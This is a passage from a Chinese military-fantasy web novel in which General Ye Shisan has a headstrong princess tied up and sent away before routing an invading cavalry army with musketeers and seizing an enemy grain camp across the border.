叶十三这种二货,做事那可是不计后果,惹恼了这货,吃个眼前亏真不明智。
“将军息怒!”
周敬堂一擦额头汗珠,拱手急道:“下官的粮食,也是朝廷的粮食,郡主并无将军想的那等意思,还望将军明鉴!”
草!
这鸟人不傻!
他要是看到老子和这郡主闹掰,他的这些粮草,也就是白白打了水漂,别说是功劳了,就是得个好评都难了。
“周大人!”
叶十三把视线,转移到周敬堂脸上,痛心道:“你可是亲眼见了,亲耳听了,这京都来的监军,会是如此心思,这种人哪知我边民之苦?哪知我边军之难?哪知我边城父母官们的不易?”
此言一出,周敬堂都觉得这香香郡主说话欠考虑。
一言走偏,谬之千里。
这千金小姐哪知官场凶险?
第211章 这是要向我大夏开战?
签房大院,众将聚集。
叶十三和香香郡主的争吵声,一字不落地被北防军的这些校尉们尽数听到耳中。
最尴尬的要数苏哲,带着五十卫兵,被周钊手下的几个宣节校尉挡在大院外面。
“周将军,你快进去劝劝二位啊!”
苏哲一脸焦急,生怕叶十三突然对香香郡主发难。
但他清楚,作为香香郡主的亲卫,此时根本近不了香香郡主的身边。
这些北防军将领们,只听叶十三的。
周钊面上一尬,摆手道:“苏兄稍安勿躁,叶将军的脾气,兄弟我也……”
“哪……”
苏哲面上一红,急道:“还请周将军体谅一下兄弟,我得进去……”
“呵呵!”
面对热锅上的蚂蚁一样的苏哲,周钊一笑,道:“没有叶将军的命令,周兄还是在外面候着吧!”
态度很明确,这些人,根本不给苏哲这个面子。
就在这个时候,突然,从校场那边冲过来三骑。
是探马吴六子,带着李二狗和另外一名探马。
“启禀将军……”
胯下的战马,已经冲到签房大院门口,吴六子的战马没停,马背上的人已经跳了下来,一溜烟就冲进了院子。
紧跟着后面的李狗子二人,也跳下马来,把吴六子的战马牵到一边,站在门旁直喘着粗气。
“将军,有异动!”
吴六子却没人拦截,直接奔进签房就地跪了。
“岘口外五十里,元蒙军队粮草大军,向我边境前行三十里。”
“野驴滩边境也是,巴立盟图海部,驻军同时向东移动,意图和大金盟木桑部汇合。”
吴六子来不及擦一把脸上的汗珠子,将一条无比炸裂的消息,禀报给了叶十三。
“这是要向我大夏开战?”
刚被叶十三训得灰头土脸的香香郡主,一下子就从案桌后蹦了起来。
“赶快布兵迎战,不可让元蒙贼子占了先机!”
香香郡主快步从叶十三眼前经过,出了签房就冲院子里站着的几十个校尉副尉们喊道:“各部即刻行动,分头率部准备迎敌。”
面对香香郡主的如此急吼,几乎所有的将领们,站在院子里巍峨不动。
“你们,敢抗命?”
香香郡主这才意识到,这些将领,对她只是尊敬和客气,但无一人听令于她。
“行了!”
叶十三沉着脸,缓缓走出签房,站在檐下目光一扫院子里的众将领,沉声道:“通知下去,即刻造饭,准备足了干粮,同时喂好战马,让兵士们检查各自兵器,尤其是弓箭、强弩这等远射武器。”
“末将遵命!”
此令一下,众将领齐齐单腿跪地,同时山呼应答。
“李狗子听令!”
叶十三把目光,投向签房大院外面。
“小的在。”
李狗子旋风一样,转眼就冲了进来在院中跪了。
“速去通知马成,带五百兵马,速来岘口随本将出征。”
“遵命!”
李狗子话音一落,人已经就像野兔,窜出大院门就骑马飞奔而去。
让马成带五百兵卒?
难道,之前挑选出来的那五百兵卒,眼下由马成带领?
香香郡主还没回过神来,只听叶十三又吼道:“苏哲听令!”
这下好了,苏哲再不用看谁脸色了。
“末将在。”
面上一阵舒展的苏哲,风一样就冲进院门,直接到签房大厅的屋檐下单腿跪了。
叶十三目光盯着苏哲,冷声道:“即刻起,护送郡主去镇上衙门或者军部,不得有误。”
“末将遵命!”
心中大喜的苏哲,拱手抬头,向叶十三一礼后,迅速从地上起来看向香香郡主。
“你……你……”
被气得手都发抖的香香郡主,指着苏哲破口大骂。
“吃里扒外的东西,身为本郡主的护卫,却听令于他人,本郡主现在就革你军职……”
“绑了,押回镇上严加看管。”
快被气疯了的香香郡主,话还没说完,就被叶十三厉声打断。
刚站起来的苏哲,面上一红,“扑通”一声又跪了下来,急道:“郡主息怒,不是小的抗命,这事,得听叶将军的。”
说完,苏哲向周敬堂投去恶狠狠的一瞥。
这一瞥,让本已心惊胆战的周敬堂,就像抓住了一根救命稻草。
“郡主息怒……”
周敬堂走下屋檐下的台阶,来到苏哲身边,双膝跪地说道:“出战迎敌,叶将军自有部署,还请郡主随下官一起回镇上……”
“不……”
不料,香香郡主并不买账,转过脸来,盯着叶十三说道:“我知道,你是不想让我死,这才赶我回镇上是吗?”
“那我告诉你!”
香香郡主的一张俏脸,突然红到了耳根,含情脉脉地又道:“要死,本郡主也要和你死在一起,死在这为国捐躯的边城战场。”
“绑了!”
叶十三面颊一抖,怒目瞪向地上跪着的苏哲。
苏哲浑身一抖,急道:“郡主,您就听叶将军的吧!”
“你,你敢绑本郡主,活腻了?”讨了个没趣的香香郡主,猛然转头瞪向苏哲,怒吼道:“本郡主命令你,带上五十卫兵,跟北防军共赴岘口迎敌,再敢抗命,本郡主将你就地革职!”
“郡主,您就听怀远将军的吧……”
恨不得长上翅膀离开黄羊岘的周敬堂,在香香郡主面前磕头如捣蒜,恳求香香郡主即刻跟他一起回去。
这香香郡主要是不走,他就没有借口离开这鬼地方。
“贪生怕死的东西!”
香香郡主怒目圆睁,狠瞪周敬堂一眼,怒吼道:“不但本郡主不回去,而且还要让你这个镇首大人,来协助田兵们转移战区的百姓。”
此言一出,周敬堂差点当场后尿了。
他巴不得叶十三雷霆大怒,把香香郡主给从这里轰走。
此时,苏哲却从地上站了起来,向叶十三一拱手,道:“请叶将军恕罪,末将得听郡主命令,郡主在哪里,末将就在哪里,既然郡主不走,末将只好战死沙场……”
“哼!”
冷哼一声,叶十三没回答苏哲的话,却真没让周敬堂失望。
叶十三缓缓转身,目光看向香香郡主,突然一手攥住香香郡主的一只手腕。
一拧,一转。
片刻间,香香郡主的两只手,都被叶十三扭在身后。
“何秀儿听令,拿根绳子,给本将把这抗命之人绑了。”
此言一出,何秀儿一怔,随即拿过一根绳子,从香香郡主的身后,把香香郡主的两只手给绑了个结实。
“郡主,对不起了!”
何秀儿面上一红,低下头来不敢与香香郡主对视。
“混蛋,不要脸!”
被绑了双手的香香郡主,在屋檐下暴跳如雷,冲着叶十三吼道:“你敢以下犯上,这是大逆不道……”
“拿块破布来!”
叶十三目光冷冷,语气更冷,转头向何秀儿又是一句。
不多时,香香郡主的嘴里,已经被叶十三塞进一团破布。
叶十三亲自动手,直接把香香郡主拦腰抱起,用剩余的绳头,把香香郡主的两只脚腕,也一并给捆了起来。
此时的香香郡主,肚皮贴地,就像一只凫水的鸭子。
“抬马车上去,要是少了一根汗毛,老子砍了你的狗头。”
叶十三拍拍两手,冷声向苏哲就是一句。
第212章 被捆着回镇上
“呜呜……呜呜……”
众目睽睽之下,喉咙里含糊不清的香香郡主,被卫兵们抬上了一辆马车。
紫伶和两名壮妇,也被卫兵们召集在一起,跟着马车就离开了屯田村。
等离开了黄羊岘地盘,苏哲示意紫伶拿掉了香香郡主嘴里的破布。
“请郡主恕罪!”
跟在马车旁边的苏哲,讪讪的就是一句。
不料,被从嘴里拿掉了破布的香香郡主,并没有苏哲想象中的那样大吼大叫。
长出了一口气后,香香郡主淡淡说道:“赶路吧!”
本来,跟在车后的周敬堂,已经做好了挨骂的准备。
当听到香香郡主这么一句,周敬堂心头高悬着的一块石头,这才落了下来。
苏哲心里,不免对叶十三一阵千恩万谢。
要是叶十三强硬地让他把香香郡主绑了?
那他,只有任由叶十三处罚,根本不会如此鲁莽。
这两头,他都惹不起。
谢天谢地,叶十三亲自动手,这才让他这个卫兵统领,避免一场前所未有的难题。
叶十三面冷心热,不失一条汉子。
大敌当前,作为防区将军,是不会让一个女人以身涉险的。
从这一点,苏哲对叶十三更是钦佩有加。
被紫伶解开了绳子的香香郡主,并没有命令卫兵们调转马头折回黄羊岘。
她靠在紫伶身上,紧紧地闭着眼睛,任由两行眼泪,从长长的睫毛下滚落脸庞。
只有紫伶此刻理解这个主子,也知道叶十三的用意。
叶十三是不想让香香郡主死在战场,这个男人,虽然和这个女人有着深仇大恨,但在危机时刻,却不想让这个女人由此丧命。
“郡主,让奴婢给您揉揉脚腕和手腕。”
善解人意的紫伶,伸手就去揉搓香香郡主被绳子勒出的印痕。
“那混蛋,弄疼我了。”
闭着眼睛的香香郡主,淡淡一句,眼泪汩汩地又滚落出来。
紫伶嘴角一呡,没敢搭腔,只是轻轻地揉搓着香香郡主手腕和脚腕上,被绳子勒出的那些印痕。
绳子不紧,就您的脾气,能乖乖地回镇上?
不过,那叶十三可真够损的,当着那么多将领的面,把堂堂郡主,摁在地上就像捆猪一样给绑了。
这让身为监军的郡主,以后如何面见那些将领们?
“算了!”
香香郡主突然睁眼,把想着心思的紫伶,吓得浑身一抖。
“别搓了,那混蛋没弄断本郡主的骨头,就已经不错了!”
脸上挂着泪珠的香香郡主,拨开了紫伶揉搓着她脚腕的手。
“本郡主知道,元蒙这才大兵出动,叶将军怕本郡主成为他的累赘,影响他杀敌的劲头,这才……”
这话,算是说对了一半。
但另一半原因,香香郡主就是不说,她和紫伶二人心里都跟明镜似的。
紫伶思忖片刻,轻声道:“郡主,那咱们眼下该如何?就这样回镇上去吗?”
香香郡主微微坐起身子,理了理头盔下凌乱的发丝,眼神中透着一丝倔强:“回,当然要回。不过本郡主可不会就这么算了,那叶十三在如此多的兵将面前折辱我,我定要让他付出代价不可。”
紫伶一怔,有些担忧地说:“郡主,叶将军也是为了您好,如今元蒙大兵压境,黄羊岘就会变成战场,那确实危险至极。”
“哼!”
香香郡主冷哼一声:“他为我好?他不过是怕我在战场上碍手碍脚,又怕担上害死郡主的罪名罢了。”
说着,香香郡主在车蓬里弯腰站了起来,活动了一下有些发麻的双脚,然后又重新躺了下来。
这些言不由衷的话,紫伶没有戳破。
一个奴籍,还怕什么罪名?
香香郡主的要强和倔强,作为贴身侍婢,她是最清楚不过的了。
而且,那次叶十三昏迷的时候,这个任性的郡主,居然做出一个女人轻易做不出的举动,硬是把自己的贞操,奉献给了那个凶悍又冷血的叶十三。
“郡主,快到了!”
周敬堂赶前几步,对着马车车篷的窗口又道:“下官在衙门腾两间安静的屋子,郡主您住着也方便。”
“随便吧!”
车篷里,香香郡主淡淡一句,她已经对住什么地方?没了选择的兴趣。
不过住镇衙门,要比军部的大将军行辕要好一点。
“那下官就让他们去准备了!”
周敬堂说完,一使眼色,王选和刘四,带着两个壮妇就加快速度先去准备。
不多时,镇街口到了。
“停车,我想下去走走!”
香香郡主叫停了马车,下了车后,在银甲外面披了一条狐皮斗篷,向镇里缓步而行。
紫伶赶忙跟上,和香香郡主拉开着五步距离。
香香郡主一边走着看着,但一颗心,却被丢在了黄羊岘。
此时的街头,到处都是岗哨。
军部派出的北防军,已经把控着各条路口,对来往的行人,动不动就严加盘查。
香香郡主皱了皱眉头,她不喜欢这种紧张压抑的氛围。她深知,军部已经在紧张备战。
叶十三手下有探马,军部也照样有,而且获得情报的途径,甚至比叶十三还要多一些。
整个镇子都如临大敌。她心中隐隐有些担忧,叶十三虽然凶悍勇猛,也很会用兵,但她却也不希望他遭遇什么不测。
紧跟在后面的紫伶,能感觉到郡主的落寞与不安。她想上前安慰,却又不知如何开口。
周敬堂跟在后面,也是小心翼翼。
他知道香香郡主此刻心情不佳,这种状态下,正是他大献殷勤的绝好机会。
他突然不希望叶十三死了!
要是能和叶十三绑一起,说不定以后会控制整个北漠。
到那时候,他就是朝廷眼中的香饽饽,封疆大吏非他不可。
天下没有解不开的冤仇,只有共同的利益。
他和叶十三之间,只是立场和站位的问题,原本没有过大的仇恨。
叶十三虽然弄死了几个替他捞钱的手下,更坑过他不少的银子,但这些,和前程相比,几乎可以忽略不计。
如果他能满足叶十三养兵的粮草,那么在叶十三眼里,他的作用,或许有一天会超过岳佟。
如此一来,他和叶十三,就是朝中各种势力拉拢的对象。
此时,集市上的摊位稀稀落落,缩着脖子的摊主们,也都无精打采。
偶尔有几个孩童在街边玩耍,却也被大人呵斥着不许乱跑。香香郡主在一个玉件的摊位前停了下来,摊主是个老妇人,眼神中透着疲惫。
香香郡主拿起一个平安扣,思绪却飘到了远方,她想起了刀光血影的黄羊岘……
第213章 狼烟升空
“郡主!”
周敬堂一脸讪笑,即刻就跟了上来。
“这些物件,质地很差,雕工也粗糙,不看也罢!”
“郡主要是喜欢,下官屋里,有几样玉件,还算能看得过眼。”
周敬堂立在货摊一侧,谄笑着又是一句。
“这个,几个银子?”
香香郡主就像没听到一旁周敬堂的话,目光看向摆摊的老妇,淡淡就是一句。
“这位小姐,民妇的这些东西都贱卖,如今粮食价格飞涨,淘换几个钱来买粮食糊口,小姐要是喜欢,就给一吊钱成了!”
见来了主顾,老妇连忙用手背擦了擦眼角的眼屎壳,眼巴巴地望着衣着华贵的香香郡主。
“大胆!”
不料,周敬堂瞬间大怒,对报完价格的老妇,厉声斥道:“一些边角料雕刻的零碎玩意儿,也敢张口要一吊银子?”
“这位大人息怒!”
老妇一瞥周敬堂,再一瞥街边等候着的卫兵们,浑身一哆嗦就地跪了。
“大人有所不知,民妇的这些物件儿,虽然是边角料不假,但质地,却是来自西域的脂玉啊!平时行市卖一两银子的,而今主顾稀少,民妇只卖一吊钱,来换粮食给家里孙儿活命。”
说着,老妇伸出一只鹤爪一样的枯手,又从摊上拿起一只造型一样的平安扣来,颤巍巍递向香香郡主。
“这位小姐,您要是喜欢,这一对扣儿,总共就给一吊钱吧?”
望着老妇渴盼的眼神,香香郡主缓缓转身,把目光看向几步外的紫伶。
“你身上,可有银子?”
紫伶一怔,快步上前,赶忙从怀里摸出一锭十两的雪花银来。
“郡主,奴婢这里有。”
说着,紫伶把那锭银子,在手心举着。
那锭银子,还是叶十三赏她的。
“给她!”
香香郡主淡淡一句,拿起两只平安扣,转身就要离开。
“这位小姐,给一吊钱就成,如此大的银锭,民妇没碎银找零啊!”
老妇被惊得合不拢嘴,一脸茫然地望着香香郡主。
“不用找了,全都给你。”
香香郡主神情坦然,已经把那两只平安扣,用一只丝帕包了后揣进怀里。
这一幕,被惊呆的不只是摆摊的老妇,就连一旁的周敬堂,面颊也是一阵急抖。
“不可啊小姐!”
老妇慌忙从地上爬起,目光一扫自己的摊子,抓起一对玉镯,又拿起一支雕刻着祥云的玉簪,赶忙塞进紫伶的手中,急忙说道:“小姐是个活菩萨啊,这位姑娘,这些东西您拿着,就算是民妇给小姐找零了。”
“老妈妈,这……”
紫伶一怔,不知如何是好?
本想怒斥老妇一番的周敬堂,斜瞥香香郡主的背影一眼,向紫伶急道:“拿着,花如此多的银子,买这么点玩意儿,已经够便宜她的了。”
说着,周敬堂狠瞪摆摊的老妇一眼,巴不得把老妇手里那锭银子给征了税。
一看香香郡主已经走出一段路,顾不到再与老妇纠缠的周敬堂,愤愤转身就紧跟了过去……
与此同时,屯田村签房大院。
叶十三在眨眼间,用积雪在签房大院的地上,堆了一幅“沙盘”。
叶十三手中倒拿着一把笤帚,用笤帚把儿的末端,指着岘口位置。
“到了岘口,本将亲率五百血卫军,在此位置正面迎敌。”
说完,叶十三把笤帚把儿,又指向岘口内侧左边,道:“穆顺带四千兵马,在本将左翼待命。”
然后,目光一扫周钊,又道:“你也一样,带四千兵马,跟在本将右翼。”
最后,叶十三手中的笤帚把儿,指向野驴滩之前香香郡主猎狐时越境的那一块,道:“你二人各匀出来的一千兵马,合起来就是两千数,守住此位置就可。”
面对叶十三的布兵部署,周钊面颊一抽,急道:“将军不可,就是在岘口正面迎敌,那也是末将率众出击,怎能让将军身先士卒?”
“没错!”
穆顺也不淡定了,拱手急道:“岘口地势狭窄,元蒙鞑子来犯时兵马集中专攻此处,将军只率领五百血卫军,这风险太大,还是让末将正面狙击鞑子骑兵才是。”
血卫军?
而且是五百兵数?
面对至少两万数的元蒙盟部骑兵,从正面拦截?
这不是上赶着给敌贼送人头的吗?
那五百兵卒,谁都知道,那是从各军中,前段时间挑选出来的一些步弓手而已。
这些年龄最轻的步弓手,怎能堪当步军趟子手来用?
看来,这叶十三,只是个人的单兵作战凶悍无比。
但在大规模的排兵,布阵方面,简直就是个有勇无谋的门外汉。
这个决定,让周钊和穆顺二人,心头都吃惊不小。
他二人各占左右翼,这和看热闹有何区别?
难道,叶十三把他两位战将,放在左右翼当看客,看他如何带着五百大头新卒去慷慨就义?
要知道,元蒙各盟部一旦出兵,北漠千里北防线,就会全面烧起战火。
这作为突破口的黄羊岘,就是元蒙鞑子拿屯田村祭旗的一战。
面对二人的请求,叶十三摆手道:“你两位,分左右翼,做好出击准备就好。”
“将军……”
二人异口同声。
“聋了?”
叶十三面色一寒,冷声又道:“莫非你二人,要违抗本将军令不成?”
“末将不敢!”
此言一出,周钊和穆顺,面颊一抽,拱手一礼后迅速去布置。
望着二人急匆匆离去的背影,叶十三一撇嘴,看向身边仅有的四名卫兵,沉声道:“开拔,岘口。”
“遵命!”
何秀儿激动得满脸通红,一点都没有初上战场的紧张样子。
吴六子正了正头盔,飞身就上了马背。
“将军,估计马成也快到岘口了?”
“差不多!”
叶十三点点头,从容地跨上了战马,回头望了一眼铁匠铺方向,一勒马缰,胯下的战马就从签房大院夺门而出。
一路上,刀枪如林的北防军,纷纷向岘口急行军。
见叶十三的战马飞奔而来,行军的领军们在马背上向叶十三拱手行礼。
叶十三目视前方,只顾催马前行。
“将军,狼烟!”
就在离岘口不足二里地时,黄羊岘烽火台上空,一股白色的烟柱冲天而起。
吴六子大喊一声,又道:“看来,鞑子已经向岘口方向发起进攻了?”
“没错!”
叶十三咬着牙,狠声说道:“老子等这一刻,已经好久了。”
随着狼烟的扩散,行军的将领们,顿时就高吼起来,让自己的兵马加快速度。
就在这时候,从岘口方向,一匹战马疾奔而来。
“将军,是李狗子!”
吴六子又是一声,随即又道:“看来,马成他们早到指定地点了。”
“好,出征!”
叶十三大吼一声,胯下的战马一声嘶鸣,速度比方才又快了几分。
第214章 给老子瞄准了射杀
片刻间,岘口到了。
叶十三端立马背,目光一扫马成带着的五百血卫军。
“长话短说,瞄准了给老子射杀来犯之敌就是。”
五百血卫军,除了弓箭和佩刀,每人的背上,还背着一支用羊皮卷着的物件。
早叶十三一步到了岘口的周钊,硬起头皮又道:“看情况,元蒙鞑子离这里已经不足二里地,将军三思啊,还是让末将出战吧!”
“请将军三思,末将愿打头阵。”
穆顺更是当仁不让,策马就冲到叶十三面前。
“滚回你们各自的位置,再敢多言,军法从事。”
叶十三目光冷冷,一扫二人,顿时就暴吼一声。
不敢再多嘴的二人,面上一紧,随即就指挥各自的兵马,向岘口左右狂奔而去。
二里地,元蒙鞑子骑兵说到就到。
叶十三带着五百血卫军,直接进了岘口。然后,五百血卫军,分为三排,梯次在出口处一字排开。
”都听清了,二百步以外瞄准,一百步到一百五十步,先射一拨。”
“注意好了,按你们各自的位置,对应敌军攻势队形的顺序射杀!”
“都明白了没有?”
叶十三说完,又暴吼起来。
已经各就各位的血卫军们,已经从后背上解下了羊皮裹儿,拿出各自的长枪,单腿跪地,一只眼瞄向岘口外的元蒙方向。
轰隆隆的马蹄声,震得大地一阵颤抖。
黑压压的元蒙大军,高举着各色旗帜和弯刀,扬起漫天的雪雾,战马嘶鸣着,就向岘口冲杀过来。
“预备!”
叶十三神情冷峻,手里也提着一杆长枪,只是没有平举起来瞄向迎面冲来的鞑子骑兵。
面对亮闪闪的一片弯刀,喊过一声预备的叶十三,目光冷冷,测算着他与冲在最前面的鞑子骑兵的距离。
二百步,二百三十步,一百八十步,一百三十步……
“放!”
叶十三暴吼一声。
“砰砰砰……”
一连串的枪声,就像爆豆一样响了起来。
距离岘口血卫军百步左右的鞑子骑兵,面部突然绽开一片血花后,齐刷刷一头栽下战马。
第一排开过枪的血卫军,迅速后退,排在后面的血卫军迅速跨上前去,补上了空缺。
“砰砰砰……”
又是一连串震天的爆响,又一片鞑子骑兵坠落下马。
鞑子骑兵们的喊杀声,惨叫声,还有战马的嘶鸣声霎时就搅在了一起。
待两轮射杀,足有上千名鞑子骑兵的尸体铺了一地。
此时,后面又冲上来的鞑子骑兵,已经距离叶十三不足百步。
“左翼听令,全队出击!”
叶十三暴吼一声,血卫军们迅速分两边。
“杀,该我们了。”
看得心头大惊,又热血沸腾的穆顺,手中战刀一举,又暴吼道:“杀过去,保护叶将军。”
北防军四千骑兵,早已做好了准备,这一声令下,策马举刀就向岘口冲了上来。
“叮叮当当……”
一阵兵器的撞击声下,银光闪过之处,迸溅出一片又一片的火花。
左翼的四千北防军在岘口一字排开,与后面冲上来的鞑子骑兵,即刻就是一场近身肉搏。
叶十三缓缓举起手中的长枪,瞄准一个搏杀阵型后面的鞑子指挥官。
屏住了呼吸的叶十三,手指轻轻一勾。
“砰!”
叶十三手中长枪的枪口,喷出一片火光。
随即,远在百步之外的鞑子指挥官,突然一个后仰就掉下战马。
“血卫军听令,挑选远射目标,自由射杀!”
望着枪口冒出的一缕轻烟,叶十三又是一声暴吼。
“砰砰砰……”
又是一阵接一阵的枪声响起,后面冲上来的鞑子骑兵,还没接近岘口的厮杀阵型,就已经被一个个射杀落马。
血卫军们轮番填药,轮番射击,三排阵型配合得相当默契。
看到身后的自己人被瞬间落马,被横冲直撞的战马霎时就踩成了肉泥,和北方军拼杀的鞑子骑兵,已经恐惧得大乱一片。
“啊……”
惨叫声不断响起,稍有分神的鞑子骑兵,就被北防军砍落马下。
右翼观战的周钊,激动得面颊直抖。
如此痛快的厮杀,他这辈子见都没见过。
一炷香的功夫,岘口前面,地上已经横七竖八地丢满了三四千具鞑子骑兵的尸体。
拼杀中的元蒙鞑子骑兵,开始纷纷后退。
“穆顺部听令,火速后退!”
“血卫军听令,联排射杀!”
“右翼周钊听令,你部做好追杀准备!”
叶十三一口气,连下三条军令。
就在穆顺的北防军迅速退后的瞬间,五百血卫军手中的长枪,又是一阵向同时后退中的鞑子骑兵齐齐射杀。
一片震耳欲聋的枪声落下,早已迫不及待的周钊,一挥战刀,指挥着右翼的四千北防军就追杀过去。
“杀,给老子狠狠杀!”
红了眼从周钊,指挥着手下的四千兵马,把潮水般后退的鞑子骑兵,又是砍倒了一大片。
突然,率部砍杀中的周钊,突然勒马停了下来。
此时,岘口外的地上,积雪被战马踩成了泥泞。
而满地的泥泞,又被人血染成了红色。
遍地都是鞑子骑兵的尸体,无主的战马还在继续乱窜着。
周钊所站之处,就是大夏与元蒙的交界口。
叶十三催马上前,举目望向退回元蒙地界的鞑子军队。
“全军准备,跟着血卫军,给老子杀过边境线!”
此言一出,众将大惊。
敌军溃败,可以说,已经成功地狙击了元蒙鞑子的入侵。
但这杀过边境线?
那可就成了大夏入侵元蒙了。
周钊望着眼前惨烈的景象,心中涌起一股难以名状的豪情与复杂的思绪。
豪情是因为这场胜利太过酣畅淋漓,他从未想过能如此重创鞑子骑兵。
穆顺也是,如此痛快的杀伐,直接让元蒙大军首战失利。
这时,五百血卫军,已经填好了弹药。
叶十三骑着马缓缓来到周钊身边,他面色平静,仿佛这一切都在他的预料之中。
“周将军,还是原阵型不便,你和穆顺将军,分左右翼护驾,随本将拿下木桑粮草大营。”
“末将遵命!”
穆顺和周钊,兴奋得双眼充血,即刻就紧跟在五百血卫军后面,向元蒙进内杀了过去。
“大夏人,杀过来了?”
退回去稍加休整的元蒙军队,万没想到北防军会越境追杀。
这一下,一向凶悍的鞑子骑兵,有些怕了!
“拦住大夏人,别人他们进入我们的领地!”
一名元蒙将官,狼一样大吼一声,挥刀策马就冲在前面迎了上来。
鸟人!
你怕是方才躲在后面没看到他们的死法?
跟在五百血卫军步卒后面的叶十三,跳下马来,缓缓举起了手中的长枪。
退回去的元蒙鞑子,被将领的一声怒吼,吓得又转头冲了过来。
“砰!”
叶十三手中的长枪,枪口又喷出一片火光。
举刀冲在最前面的鞑子将官,直接半边脸就不见了。
“扑通!”
坠落在地的鞑子将官,霎时就被冲上来的战马踩成了肉泥。
发觉不对的鞑子骑兵们,慌乱地又调转马头,和后面冲上来的同伴们的战马又撞击在一起。
“快撤……”
迟了!
已经晚了。
“砰砰砰……”
五百血卫军,手中五百支长枪又是一起开火。
“啊……”
乱作一团的鞑子骑兵们,霎时又倒下了一大片。
“给老子瞄准了射杀!”
吹了一口枪口的叶十三,翻身又上了战马,向不断填药灌装铁砂的血卫军们,又是一声怒吼。
不甘落后的穆顺,转头向自己的兵马吼道:“步弓手准备,射人射马都行,冲上去给老子射就是了。”
周钊也吼道:“步弓手准备,从侧面包抄射杀!”
一时间,足有五六千的步弓手们,纷纷硬弓在手,呼啦啦散开两边足有二里地,向着元蒙大军就包抄过去。
剩下的兵马,跟在叶十三身后,时刻准备在接替五百血卫军。
元蒙大军被这突如其来的猛烈攻击打得阵脚大乱。
惨叫声、马嘶声交织在一起。那些侥幸没被火枪击中的骑兵,又陷入了步弓手的射程范围。
“嗖嗖……”
一支支利箭,如雨点般射向鞑子骑兵,不少鞑子中箭落马,受伤的战马疯狂嘶鸣,在人群中横冲直撞,进一步加剧了混乱。
叶十三眼神冷峻,紧紧盯着元蒙大军,嘴角拧起一丝冷笑,吼道:“犯我大夏者,虽远必诛!”
“砰!”
叶十三手中的长枪,枪口又冒出一缕轻烟。
这次,叶十三却是抬高了枪口,以二百步的距离,直接把元蒙大军的帅旗,给打成了筛子眼。
“咔嚓!”
紧接着,一声脆响之下,元蒙大军的帅旗就像一片枯叶飘落地上。
枪声又是大作,倒了帅旗后更加慌乱的鞑子骑兵们,已经开始四下逃窜。
主将副将被叶十三射杀,冲锋在前的骑兵足有六七千人战死,鞑子骑兵再无恋战之意,没命地向四处逃窜。
这一下,刺激得北防军们杀心更甚,多年对元蒙大军的惧怕,在此时也一扫而光。
一阵追杀之下,粮草大营已经在眼前不远。
望着堆积成山的粮草,叶十三笑了。
“报战损!”
叶十三站在粮草大营门口,目光一扫穆顺和周钊二人。
这一眼,让二人心头一凛。
不怒自威的叶十三,双眼流淌着一种无形的霸气。
一名副尉在穆顺耳边低语一阵,穆顺双拳一抱,高声道:“启禀怀远将军,左翼战死一十六人,轻伤一百二十人。”
“禀叶将军,右翼战死九人,轻伤七十人。”
周钊也赶上前来,拱手报了战损。
“好!”
叶十三点点头,目光看向来路,道:“伤兵退出战斗,沿路返回,顺便打扫战场,收集一些鞑子的战马,把鞑子的兵器尽数带回防区。”
说完,叶十三把视线,又移动到身后的粮草大营,提高了声调说道:“大营防务,照旧分左右翼,东西南北四个角,各布兵一百血卫军,余下一百血卫军,驻扎指挥军账周围。”
此言一出,马成立刻进行分兵。
不大时候,空堂堂的粮草大营,已经被叶十三带着北防军占领了。
“吴六子听令!”
进了军帐,还没落座的叶十三,又把吴六子喊了进来。
“你,李狗子,各带探马,务必把三十里范围内,元蒙大军的动向给摸清了。”
“小的遵命!”
自知身上担子繁重的吴六子,一拍背上的干粮袋,又道:“请将军放心,小的早已准备好了。”
叶十三摆摆手,这才踱步在一张铺着熊皮的宽背大椅上坐了下来。
第215章 野心
“何秀儿听令!”
叶十三突然,把目光看向一旁的何秀儿。
“小的在。”
何秀儿心头一阵紧张,赶忙上前两步站了。
“去,传宣节副尉以上的将领,来军帐议事。”
叶十三轻描淡写一句,何秀儿顿时长出了一口气。
尽管她跟着叶十三,更没有拔刀冲杀,但方才激烈的战斗,也让她着实经历了一番血与火的洗礼。
不大时候,将领们齐聚军帐。
**的军帐中,好东西真可不少。
牛肉干,奶酪,还有冻羊肉。
待众将领坐定,紫伶已经烧好了奶茶,给每人面前的碗里,都添上了热腾腾的奶茶。
“将军,我们准备把这些粮草运回去?”
穆顺目光投向低头喝着奶茶的叶十三,绷不住就是一问。
“运回去?”
叶十三抬起头来,一瞥穆顺,又道:“在此屯兵,难道不需要粮草?”
屯兵?
不光是穆顺,就是周钊,也被叶十三的话,着实吓了一跳。
待半碗香喷喷的奶茶下肚,叶十三缓缓抬头,目光看向众将领,淡淡说道:“愿日月所照,皆我大夏疆土。”
愿日月所照,皆我大夏疆土?
这话!
摆明了是要吞下元蒙的大金盟部。
果然!
叶十三目光再次从众将领面上扫过,缓缓又道:“如今粮食是有了,运来运去,那多麻烦?”
周钊心头一震,起身抱拳,急道:“依末将看,还是禀报军部,请求岳大将军再派兵马,不然就凭我们这些兵数,怕是……”
“呵呵!”
叶十三摆摆手,打断周钊后面要说的话,淡淡又道:“大将军手里的那些兵马,已经没有兵数再拨付黄羊岘防区,元蒙各盟部一旦向我大夏全线出兵,岳大将军自己都难以布防,哪还有兵马支援我黄羊岘?”
望着众将片刻,叶十三又道:“与其被动挨打,不如以黄羊岘为大后方作依托,我军直接拿下大金盟部、还有和野驴滩接壤的巴立盟部,如此一来,元蒙的两处盟部,不就成了我北防军的领地?”
这时候,众将领才完全明白。
早在签房大院的时候,叶十三开拔时,曾经喊过一声“出征”而不是“迎敌”。
这出征,意味着叶十三从一开始,就已经打好了吞并元蒙两个盟部的主意。
这样一想,众将领的后背,陡然惊出了一身冷汗。
就是老王爷镇北王当初,也是本着守土有责,更不敢想扩疆充土。
能守住北漠千里防线,就已经烧高香了,谁还敢想着吃掉元蒙的部落?
这不但是戍边,而且还是虎口拔牙。
但这一战,直接灭了元蒙六七千的兵马。
这个战绩,刺激得众将领们又是一阵亢奋。
他们也清楚,要是只管防守,元蒙对边城的骚扰,那是永远少不了的。
与其天天提放着贼偷,还不如主动出击,把贼窝给掏了。
反正,元蒙大军进犯黄羊岘防区在先,北方军这才乘胜追击,占领了元蒙境内大金盟部的粮草大营。
“将军,我等真要占领此地?”
一名校尉站了起来,目光闪烁不定,似乎忧心忡忡。
“没错!”
叶十三一瞥校尉,又道:“你是怕,我们这些兵马,会被元蒙大军围剿不成?”
“末将,还真是担心这个。”
校尉点点头,目光殷切地望向叶十三。
其实,所有在座的将领,心中都有这种担忧。
想想,元蒙高层,会轻易把自己的领土,就这样让叶十三给占了?
